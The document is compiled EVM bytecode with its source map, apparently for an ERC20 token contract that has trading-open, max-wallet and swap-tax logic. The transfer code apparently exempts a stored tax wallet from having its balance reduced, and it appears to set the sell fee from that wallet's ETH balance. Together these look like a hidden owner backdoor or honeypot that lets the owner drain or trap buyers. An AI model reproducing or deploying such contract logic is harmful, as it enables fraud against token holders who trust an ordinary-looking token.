0x60806040526004361061017e575f3560e01c8063715018a6116100cd578063a0e47bf611610087578063c9567bf911610062578063c9567bf91461042d578063dd62ed3e14610435578063efcc52de14610479578063f2fde38b1461048e575f80fd5b8063a0e47bf6146103c9578063a457c2d7146103ef578063a9059cbb1461040e575f80fd5b8063715018a614610347578063751039fc1461035b5780637d1db4a51461036f5780638da5cb5b146103845780638f9a55c0146103a057806395d89b41146103b5575f80fd5b806323b872dd11610138578063395093511161011357806339509351146102b75780636d800a3c146102d65780636ddd1713146102f557806370a0823114610313575f80fd5b806323b872dd14610240578063313ce5671461025f57806332972e4614610280575f80fd5b80630445b6671461018957806306fdde03146101b1578063095ea7b3146101d257806318160ddd146102015780631d16d9a014610215578063200a692d1461022b575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019e60105481565b6040519081526020015b60405180910390f35b3480156101bc575f80fd5b506101c56104ad565b6040516101a8919061162f565b3480156101dd575f80fd5b506101f16101ec36600461168e565b61053d565b60405190151581526020016101a8565b34801561020c575f80fd5b50600d5461019e565b348015610220575f80fd5b50610229610553565b005b348015610236575f80fd5b5061019e600b5481565b34801561024b575f80fd5b506101f161025a3660046116b8565b61058c565b34801561026a575f80fd5b5060035460405160ff90911681526020016101a8565b34801561028b575f80fd5b5060125461029f906001600160a01b031681565b6040516001600160a01b0390911681526020016101a8565b3480156102c2575f80fd5b506101f16102d136600461168e565b6105f5565b3480156102e1575f80fd5b506011546101f19062010000900460ff1681565b348015610300575f80fd5b506011546101f190610100900460ff1681565b34801561031e575f80fd5b5061019e61032d3660046116f6565b6001600160a01b03165f9081526004602052604090205490565b348015610352575f80fd5b5061022961062a565b348015610366575f80fd5b50610229610667565b34801561037a575f80fd5b5061019e600e5481565b34801561038f575f80fd5b505f546001600160a01b031661029f565b3480156103ab575f80fd5b5061019e600f5481565b3480156103c0575f80fd5b506101c561069e565b3480156103d4575f80fd5b5060115461029f90630100000090046001600160a01b031681565b3480156103fa575f80fd5b506101f161040936600461168e565b6106ad565b348015610419575f80fd5b506101f161042836600461168e565b6106fa565b610229610706565b348015610440575f80fd5b5061019e61044f366004611711565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610484575f80fd5b5061019e600a5481565b348015610499575f80fd5b506102296104a83660046116f6565b610a05565b6060600180546104bc90611748565b80601f01602080910402602001604051908101604052809291908181526020018280546104e890611748565b80156105335780601f1061050a57610100808354040283529160200191610533565b820191905f5260205f20905b81548152906001019060200180831161051657829003601f168201915b5050505050905090565b5f610549338484610a9c565b5060015b92915050565b600c546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610589573d5f803e3d5ffd5b50565b5f610598848484610bbf565b506105ea84336105e58560405180606001604052806028815260200161191d602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610ffb565b610a9c565b5060015b9392505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916105499185906105e59086611033565b5f546001600160a01b0316331461065c5760405162461bcd60e51b815260040161065390611780565b60405180910390fd5b6106655f611091565b565b5f546001600160a01b031633146106905760405162461bcd60e51b815260040161065390611780565b6011805462ff000019169055565b6060600280546104bc90611748565b5f61054933846105e58560405180606001604052806025815260200161194560259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190610ffb565b5f6105ea338484610bbf565b5f546001600160a01b0316331461072f5760405162461bcd60e51b815260040161065390611780565b60115460ff16156107795760405162461bcd60e51b815260206004820152601460248201527354726164696e67206973206f70656e206e6f772160601b6044820152606401610653565b60118054600160ff1990911617908190556040805163c45a015560e01b8152905163010000009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa1580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f991906117b5565b6001600160a01b031663c9c6539630601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610859573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087d91906117b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108eb91906117b5565b601280546001600160a01b039283166001600160a01b031990911681179091555f908152600760205260409020805460ff19166001179055601154630100000090041663f305d7193430610953816001600160a01b03165f9081526004602052604090205490565b5f806109665f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109cc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f191906117d0565b50506011805461ff00191661010017905550565b5f546001600160a01b03163314610a2e5760405162461bcd60e51b815260040161065390611780565b6001600160a01b038116610a935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610653565b61058981611091565b6001600160a01b038316610afe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610653565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610653565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610c245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610653565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610653565b5f8211610ce75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610653565b601254600160a01b900460ff1615610d0b57610d048484846110e0565b90506105ee565b60115460ff16610d97576001600160a01b0384165f9081526006602052604090205460ff1680610d5257506001600160a01b0383165f9081526006602052604090205460ff165b610d975760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610653565b305f9081526004602052604090205460105481108015908190610dc45750601254600160a01b900460ff16155b8015610de857506001600160a01b0386165f9081526007602052604090205460ff16155b8015610dfb5750601154610100900460ff165b15610e0957610e09826111c3565b600c546001600160a01b03878116911614610e88576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f90815260049091529190912054610e6f918690610ffb565b6001600160a01b0387165f908152600460205260409020555b5f610e9387876111ef565b610e9d5784610ea8565b610ea8878787611238565b60115490915062010000900460ff168015610ed057506012546001600160a01b038881169116145b8015610ef457506001600160a01b0386165f9081526008602052604090205460ff16155b15610f7257600f54610f2482610f1e896001600160a01b03165f9081526004602052604090205490565b90611033565b1115610f725760405162461bcd60e51b815260206004820152601b60248201527f4d61782057616c6c6574204c696d6974204578636565646564212100000000006044820152606401610653565b6001600160a01b0386165f90815260046020526040902054610f949082611033565b6001600160a01b038088165f8181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe79085815260200190565b60405180910390a3600193505050506105ee565b5f818484111561101e5760405162461bcd60e51b8152600401610653919061162f565b505f61102a848661180f565b95945050505050565b5f8061103f8385611822565b9050838110156105ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610653565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600490915291822054611130918490610ffb565b6001600160a01b038086165f90815260046020526040808220939093559085168152205461115e9083611033565b6001600160a01b038085165f8181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b19086815260200190565b60405180910390a35060019392505050565b6012805460ff60a01b1916600160a01b1790556111df81611353565b506012805460ff60a01b19169055565b6001600160a01b0382165f9081526006602052604081205460ff168061122c57506001600160a01b0382165f9081526006602052604090205460ff165b1561054957505f61054d565b6001600160a01b0383165f90815260076020526040812054819060ff16156112825761127b600954611275600a548661150390919063ffffffff16565b90611581565b90506112d1565b6001600160a01b0384165f9081526007602052604090205460ff16156112d157600954600c54600b546112ce9291611275916112c7916001600160a01b0316316115c2565b8690611503565b90505b801561134957305f908152600460205260409020546112f09082611033565b305f81815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113409085815260200190565b60405180910390a35b61102a83826115c2565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061138657611386611835565b60200260200101906001600160a01b031690816001600160a01b031681525050601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061141b91906117b5565b8160018151811061142e5761142e611835565b6001600160a01b03928316602091820292909201015260115461145b913091630100000090041684610a9c565b60115460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906114999085905f9086903090429060040161188b565b5f604051808303815f87803b1580156114b0575f80fd5b505af11580156114c2573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516114f79291906118c6565b60405180910390a15050565b5f825f0361151257505f61054d565b5f61151d83856118e6565b90508261152a85836118fd565b146105ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610653565b5f6105ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611603565b5f6105ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ffb565b5f81836116235760405162461bcd60e51b8152600401610653919061162f565b505f61102a84866118fd565b5f6020808352835180828501525f5b8181101561165a5785810183015185820160400152820161163e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610589575f80fd5b5f806040838503121561169f575f80fd5b82356116aa8161167a565b946020939093013593505050565b5f805f606084860312156116ca575f80fd5b83356116d58161167a565b925060208401356116e58161167a565b929592945050506040919091013590565b5f60208284031215611706575f80fd5b81356105ee8161167a565b5f8060408385031215611722575f80fd5b823561172d8161167a565b9150602083013561173d8161167a565b809150509250929050565b600181811c9082168061175c57607f821691505b60208210810361177a57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117c5575f80fd5b81516105ee8161167a565b5f805f606084860312156117e2575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561054d5761054d6117fb565b8082018082111561054d5761054d6117fb565b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b838110156118805781516001600160a01b03168752958201959082019060010161185b565b509495945050505050565b85815284602082015260a060408201525f6118a960a0830186611849565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6118de6040830184611849565b949350505050565b808202811582820484141761054d5761054d6117fb565b5f8261191757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d5adfd30c0820c9050b9349b6e2edad557bb91bca65d068796d9ad77b33acb8f64736f6c63430008150033

Deployed Bytecode Sourcemap

4807:8586:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5716:56;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5716:56:0;;;;;;;;6875:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8045:161::-;;;;;;;;;;-1:-1:-1;8045:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;8045:161:0;1205:187:1;7152:100:0;;;;;;;;;;-1:-1:-1;7232:12:0;;7152:100;;12662:97;;;;;;;;;;;;;:::i;:::-;;5395:30;;;;;;;;;;;;;;;;8734:313;;;;;;;;;;-1:-1:-1;8734:313:0;;;;;:::i;:::-;;:::i;7061:83::-;;;;;;;;;;-1:-1:-1;7127:9:0;;7061:83;;7127:9;;;;2000:36:1;;1988:2;1973:18;7061:83:0;1858:184:1;5922:22:0;;;;;;;;;;-1:-1:-1;5922:22:0;;;;-1:-1:-1;;;;;5922:22:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5922:22:0;2047:203:1;7542:218:0;;;;;;;;;;-1:-1:-1;7542:218:0;;;;;:::i;:::-;;:::i;5842:31::-;;;;;;;;;;-1:-1:-1;5842:31:0;;;;;;;;;;;5804;;;;;;;;;;-1:-1:-1;5804:31:0;;;;;;;;;;;7260:123;;;;;;;;;;-1:-1:-1;7260:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;7352:18:0;7326:7;7352:18;;;:9;:18;;;;;;;7260:123;1972:94;;;;;;;;;;;;;:::i;12767:82::-;;;;;;;;;;;;;:::i;5587:57::-;;;;;;;;;;;;;;;;1663:87;;;;;;;;;;-1:-1:-1;1709:7:0;1736:6;-1:-1:-1;;;;;1736:6:0;1663:87;;5651:58;;;;;;;;;;;;;;;;6966:87;;;;;;;;;;;;;:::i;5882:33::-;;;;;;;;;;-1:-1:-1;5882:33:0;;;;;;;-1:-1:-1;;;;;5882:33:0;;;7768:269;;;;;;;;;;-1:-1:-1;7768:269:0;;;;;:::i;:::-;;:::i;8559:167::-;;;;;;;;;;-1:-1:-1;8559:167:0;;;;;:::i;:::-;;:::i;12857:496::-;;;:::i;7391:143::-;;;;;;;;;;-1:-1:-1;7391:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7499:18:0;;;7472:7;7499:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7391:143;5359:29;;;;;;;;;;;;;;;;2074:229;;;;;;;;;;-1:-1:-1;2074:229:0;;;;;:::i;:::-;;:::i;6875:83::-;6912:13;6945:5;6938:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6875:83;:::o;8045:161::-;8120:4;8137:39;310:10;8160:7;8169:6;8137:8;:39::i;:::-;-1:-1:-1;8194:4:0;8045:161;;;;;:::o;12662:97::-;12709:9;;12701:50;;-1:-1:-1;;;;;12709:9:0;;;;12729:21;12701:50;;;;;12709:9;12701:50;12709:9;12701:50;12729:21;12709:9;12701:50;;;;;;;;;;;;;;;;;;;;;12662:97::o;8734:313::-;8832:4;8849:36;8859:6;8867:9;8878:6;8849:9;:36::i;:::-;-1:-1:-1;8896:121:0;8905:6;310:10;8927:89;8965:6;8927:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8927:19:0;;;;;;:11;:19;;;;;;;;310:10;8927:33;;;;;;;;;;:37;:89::i;:::-;8896:8;:121::i;:::-;-1:-1:-1;9035:4:0;8734:313;;;;;;:::o;7542:218::-;310:10;7630:4;7679:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7679:34:0;;;;;;;;;;7630:4;;7647:83;;7670:7;;7679:50;;7718:10;7679:38;:50::i;1972:94::-;1709:7;1736:6;-1:-1:-1;;;;;1736:6:0;310:10;1884:23;1876:68;;;;-1:-1:-1;;;1876:68:0;;;;;;;:::i;:::-;;;;;;;;;2037:21:::1;2055:1;2037:9;:21::i;:::-;1972:94::o:0;12767:82::-;1709:7;1736:6;-1:-1:-1;;;;;1736:6:0;310:10;1884:23;1876:68;;;;-1:-1:-1;;;1876:68:0;;;;;;;:::i;:::-;12821:12:::1;:20:::0;;-1:-1:-1;;12821:20:0::1;::::0;;12767:82::o;6966:87::-;7005:13;7038:7;7031:14;;;;;:::i;7768:269::-;7861:4;7878:129;310:10;7901:7;7910:96;7949:15;7910:96;;;;;;;;;;;;;;;;;310:10;7910:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7910:34:0;;;;;;;;;;;;:38;:96::i;8559:167::-;8637:4;8654:42;310:10;8678:9;8689:6;8654:9;:42::i;12857:496::-;1709:7;1736:6;-1:-1:-1;;;;;1736:6:0;310:10;1884:23;1876:68;;;;-1:-1:-1;;;1876:68:0;;;;;;;:::i;:::-;12927:11:::1;::::0;::::1;;12926:12;12918:45;;;::::0;-1:-1:-1;;;12918:45:0;;4080:2:1;12918:45:0::1;::::0;::::1;4062:21:1::0;4119:2;4099:18;;;4092:30;-1:-1:-1;;;4138:18:1;;;4131:50;4198:18;;12918:45:0::1;3878:344:1::0;12918:45:0::1;12976:11;:18:::0;;12990:4:::1;-1:-1:-1::0;;12976:18:0;;::::1;;::::0;;;;13033:19:::1;::::0;;-1:-1:-1;;;13033:19:0;;;;:9;;;::::1;-1:-1:-1::0;;;;;13033:9:0::1;::::0;:17:::1;::::0;:19:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:9;:19:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13015:49:0::1;;13087:4;13107:9;;;;;;;;;-1:-1:-1::0;;;;;13107:9:0::1;-1:-1:-1::0;;;;;13107:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13015:119;::::0;-1:-1:-1;;;;;;13015:119:0::1;::::0;;;;;;-1:-1:-1;;;;;4713:15:1;;;13015:119:0::1;::::0;::::1;4695:34:1::0;4765:15;;4745:18;;;4738:43;4630:18;;13015:119:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13005:7;:129:::0;;-1:-1:-1;;;;;13005:129:0;;::::1;-1:-1:-1::0;;;;;;13005:129:0;;::::1;::::0;::::1;::::0;;;:7:::1;13145:40:::0;;;:22:::1;:40;::::0;;;;:47;;-1:-1:-1;;13145:47:0::1;13005:129:::0;13145:47:::1;::::0;;13203:9:::1;::::0;;;::::1;;:25;13236:9;13255:4;13261:24;13255:4:::0;-1:-1:-1;;;;;7352:18:0;7326:7;7352:18;;;:9;:18;;;;;;;7260:123;13261:24:::1;13286:1;13288::::0;13290:7:::1;1709::::0;1736:6;-1:-1:-1;;;;;1736:6:0;;1663:87;13290:7:::1;13203:111;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13203:111:0;;;-1:-1:-1;;;;;5151:15:1;;;13203:111:0::1;::::0;::::1;5133:34:1::0;5183:18;;;5176:34;;;;5226:18;;;5219:34;;;;5269:18;;;5262:34;5333:15;;;5312:19;;;5305:44;13298:15:0::1;5365:19:1::0;;;5358:35;5067:19;;13203:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13327:11:0::1;:18:::0;;-1:-1:-1;;13327:18:0::1;;;::::0;;-1:-1:-1;12857:496:0:o;2074:229::-;1709:7;1736:6;-1:-1:-1;;;;;1736:6:0;310:10;1884:23;1876:68;;;;-1:-1:-1;;;1876:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2177:22:0;::::1;2155:110;;;::::0;-1:-1:-1;;;2155:110:0;;5917:2:1;2155:110:0::1;::::0;::::1;5899:21:1::0;5956:2;5936:18;;;5929:30;5995:34;5975:18;;;5968:62;-1:-1:-1;;;6046:18:1;;;6039:36;6092:19;;2155:110:0::1;5715:402:1::0;2155:110:0::1;2276:19;2286:8;2276:9;:19::i;8214:337::-:0;-1:-1:-1;;;;;8307:19:0;;8299:68;;;;-1:-1:-1;;;8299:68:0;;6324:2:1;8299:68:0;;;6306:21:1;6363:2;6343:18;;;6336:30;6402:34;6382:18;;;6375:62;-1:-1:-1;;;6453:18:1;;;6446:34;6497:19;;8299:68:0;6122:400:1;8299:68:0;-1:-1:-1;;;;;8386:21:0;;8378:68;;;;-1:-1:-1;;;8378:68:0;;6729:2:1;8378:68:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:32;6900:19;;8378:68:0;6527:398:1;8378:68:0;-1:-1:-1;;;;;8459:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8511:32;;160:25:1;;;8511:32:0;;133:18:1;8511:32:0;;;;;;;8214:337;;;:::o;9055:1585::-;9142:4;-1:-1:-1;;;;;9169:20:0;;9161:70;;;;-1:-1:-1;;;9161:70:0;;7132:2:1;9161:70:0;;;7114:21:1;7171:2;7151:18;;;7144:30;7210:34;7190:18;;;7183:62;-1:-1:-1;;;7261:18:1;;;7254:35;7306:19;;9161:70:0;6930:401:1;9161:70:0;-1:-1:-1;;;;;9250:23:0;;9242:71;;;;-1:-1:-1;;;9242:71:0;;7538:2:1;9242:71:0;;;7520:21:1;7577:2;7557:18;;;7550:30;7616:34;7596:18;;;7589:62;-1:-1:-1;;;7667:18:1;;;7660:33;7710:19;;9242:71:0;7336:399:1;9242:71:0;9341:1;9332:6;:10;9324:64;;;;-1:-1:-1;;;9324:64:0;;7942:2:1;9324:64:0;;;7924:21:1;7981:2;7961:18;;;7954:30;8020:34;8000:18;;;7993:62;-1:-1:-1;;;8071:18:1;;;8064:39;8120:19;;9324:64:0;7740:405:1;9324:64:0;9409:6;;-1:-1:-1;;;9409:6:0;;;;9405:1228;;;9439:41;9454:6;9462:9;9473:6;9439:14;:41::i;:::-;9432:48;;;;9405:1228;9529:11;;;;9524:146;;-1:-1:-1;;;;;9569:26:0;;;;;;:18;:26;;;;;;;;;:59;;-1:-1:-1;;;;;;9599:29:0;;;;;;:18;:29;;;;;;;;9569:59;9561:93;;;;-1:-1:-1;;;9561:93:0;;8352:2:1;9561:93:0;;;8334:21:1;8391:2;8371:18;;;8364:30;-1:-1:-1;;;8410:18:1;;;8403:52;8472:18;;9561:93:0;8150:346:1;9561:93:0;9735:4;9686:28;7352:18;;;:9;:18;;;;;;9811:13;;9787:37;;;;;;;9845:34;;-1:-1:-1;9873:6:0;;-1:-1:-1;;;9873:6:0;;;;9872:7;9845:34;:69;;;;-1:-1:-1;;;;;;9884:30:0;;;;;;:22;:30;;;;;;;;9883:31;9845:69;:84;;;;-1:-1:-1;9918:11:0;;;;;;;9845:84;9841:155;;;9950:30;9959:20;9950:8;:30::i;:::-;10011:9;;-1:-1:-1;;;;;10001:19:0;;;10011:9;;10001:19;9997:124;;10068:53;;;;;;;;;;;-1:-1:-1;;;10068:53:0;;;;;;;;-1:-1:-1;;;;;10068:17:0;;-1:-1:-1;10068:17:0;;;:9;:17;;;;;;;;:53;;10090:6;;10068:21;:53::i;:::-;-1:-1:-1;;;;;10048:17:0;;;;;;:9;:17;;;;;:73;9997:124;10138:19;10160:31;10174:6;10181:9;10160:13;:31::i;:::-;:77;;10231:6;10160:77;;;10194:34;10202:6;10210:9;10221:6;10194:7;:34::i;:::-;10257:12;;10138:99;;-1:-1:-1;10257:12:0;;;;;:33;;;;-1:-1:-1;10283:7:0;;-1:-1:-1;;;;;10273:17:0;;;10283:7;;10273:17;10257:33;:69;;;;-1:-1:-1;;;;;;10295:31:0;;;;;;:20;:31;;;;;;;;10294:32;10257:69;10254:203;;;10396:14;;10355:37;10380:11;10355:20;10365:9;-1:-1:-1;;;;;7352:18:0;7326:7;7352:18;;;:9;:18;;;;;;;7260:123;10355:20;:24;;:37::i;:::-;:55;;10347:94;;;;-1:-1:-1;;;10347:94:0;;8703:2:1;10347:94:0;;;8685:21:1;8742:2;8722:18;;;8715:30;8781:29;8761:18;;;8754:57;8828:18;;10347:94:0;8501:351:1;10347:94:0;-1:-1:-1;;;;;10496:20:0;;;;;;:9;:20;;;;;;:37;;10521:11;10496:24;:37::i;:::-;-1:-1:-1;;;;;10473:20:0;;;;;;;:9;:20;;;;;;;:60;;;;10555:40;;;;;;;;;;10583:11;160:25:1;;148:2;133:18;;14:177;10555:40:0;;;;;;;;10617:4;10610:11;;;;;;;2850:192;2936:7;2972:12;2964:6;;;;2956:29;;;;-1:-1:-1;;;2956:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2996:9:0;3008:5;3012:1;3008;:5;:::i;:::-;2996:17;2850:192;-1:-1:-1;;;;;2850:192:0:o;2517:181::-;2575:7;;2607:5;2611:1;2607;:5;:::i;:::-;2595:17;;2636:1;2631;:6;;2623:46;;;;-1:-1:-1;;;2623:46:0;;9454:2:1;2623:46:0;;;9436:21:1;9493:2;9473:18;;;9466:30;9532:29;9512:18;;;9505:57;9579:18;;2623:46:0;9252:351:1;2311:173:0;2367:16;2386:6;;-1:-1:-1;;;;;2403:17:0;;;-1:-1:-1;;;;;;2403:17:0;;;;;;2436:40;;2386:6;;;;;;;2436:40;;2367:16;2436:40;2356:128;2311:173;:::o;10648:330::-;10778:53;;;;;;;;;;;-1:-1:-1;;;10778:53:0;;;;;;;;-1:-1:-1;;;;;10778:17:0;;10741:4;10778:17;;;:9;:17;;;;;;;:53;;10800:6;;10778:21;:53::i;:::-;-1:-1:-1;;;;;10758:17:0;;;;;;;:9;:17;;;;;;:73;;;;10865:20;;;;;;;:32;;10890:6;10865:24;:32::i;:::-;-1:-1:-1;;;;;10842:20:0;;;;;;;:9;:20;;;;;;;:55;;;;10913:35;;;;;;;;;;10941:6;160:25:1;;148:2;133:18;;14:177;10913:35:0;;;;;;;;-1:-1:-1;10966:4:0;10648:330;;;;;:::o;11888:110::-;6004:6;:13;;-1:-1:-1;;;;6004:13:0;-1:-1:-1;;;6004:13:0;;;11957:33:::1;11974:15:::0;11957:16:::1;:33::i;:::-;-1:-1:-1::0;6040:6:0;:14;;-1:-1:-1;;;;6040:14:0;;;11888:110::o;10990:230::-;-1:-1:-1;;;;;11091:26:0;;11071:4;11091:26;;;:18;:26;;;;;;;;;:59;;-1:-1:-1;;;;;;11121:29:0;;;;;;:18;:29;;;;;;;;11091:59;11088:103;;;-1:-1:-1;11174:5:0;11167:12;;11228:652;-1:-1:-1;;;;;11374:30:0;;11314:7;11374:30;;;:22;:30;;;;;;11314:7;;11374:30;;11371:276;;;11434:42;11461:14;;11434:22;11445:10;;11434:6;:10;;:22;;;;:::i;:::-;:26;;:42::i;:::-;11422:54;;11371:276;;;-1:-1:-1;;;;;11507:33:0;;;;;;:22;:33;;;;;;;;11504:143;;;11620:14;;11596:9;;11580:11;;11569:66;;11620:14;11569:46;;11580:34;;-1:-1:-1;;;;;11596:9:0;:17;11580:15;:34::i;:::-;11569:6;;:10;:46::i;:66::-;11557:78;;11504:143;11662:13;;11659:173;;11737:4;11719:24;;;;:9;:24;;;;;;:39;;11748:9;11719:28;:39::i;:::-;11710:4;11692:24;;;;:9;:24;;;;;;;:66;;;;11778:42;;-1:-1:-1;;;;;11778:42:0;;;;;;;11810:9;160:25:1;;148:2;133:18;;14:177;11778:42:0;;;;;;;;11659:173;11851:21;:6;11862:9;11851:10;:21::i;12006:648::-;12156:16;;;12170:1;12156:16;;;;;;;;12132:21;;12156:16;;;;;;;;;;-1:-1:-1;12156:16:0;12132:40;;12201:4;12183;12188:1;12183:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12183:23:0;;;-1:-1:-1;;;;;12183:23:0;;;;;12227:9;;;;;;;;;-1:-1:-1;;;;;12227:9:0;-1:-1:-1;;;;;12227:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12217:4;12222:1;12217:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12217:26:0;;;:7;;;;;;;;;:26;12288:9;;12256:56;;12273:4;;12288:9;;;;12300:11;12256:8;:56::i;:::-;12351:9;;:234;;-1:-1:-1;;;12351:234:0;;:9;;;;-1:-1:-1;;;;;12351:9:0;;:60;;:234;;12426:11;;12452:1;;12496:4;;12523;;12559:15;;12351:234;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12611:35;12628:11;12641:4;12611:35;;;;;;;:::i;:::-;;;;;;;;12061:593;12006:648;:::o;3050:250::-;3108:7;3132:1;3137;3132:6;3128:47;;-1:-1:-1;3162:1:0;3155:8;;3128:47;3187:9;3199:5;3203:1;3199;:5;:::i;:::-;3187:17;-1:-1:-1;3232:1:0;3223:5;3227:1;3187:17;3223:5;:::i;:::-;:10;3215:56;;;;-1:-1:-1;;;3215:56:0;;11859:2:1;3215:56:0;;;11841:21:1;11898:2;11878:18;;;11871:30;11937:34;11917:18;;;11910:62;-1:-1:-1;;;11988:18:1;;;11981:31;12029:19;;3215:56:0;11657:397:1;3308:132:0;3366:7;3393:39;3397:1;3400;3393:39;;;;;;;;;;;;;;;;;:3;:39::i;2706:136::-;2764:7;2791:43;2795:1;2798;2791:43;;;;;;;;;;;;;;;;;:3;:43::i;3448:278::-;3534:7;3569:12;3562:5;3554:28;;;;-1:-1:-1;;;3554:28:0;;;;;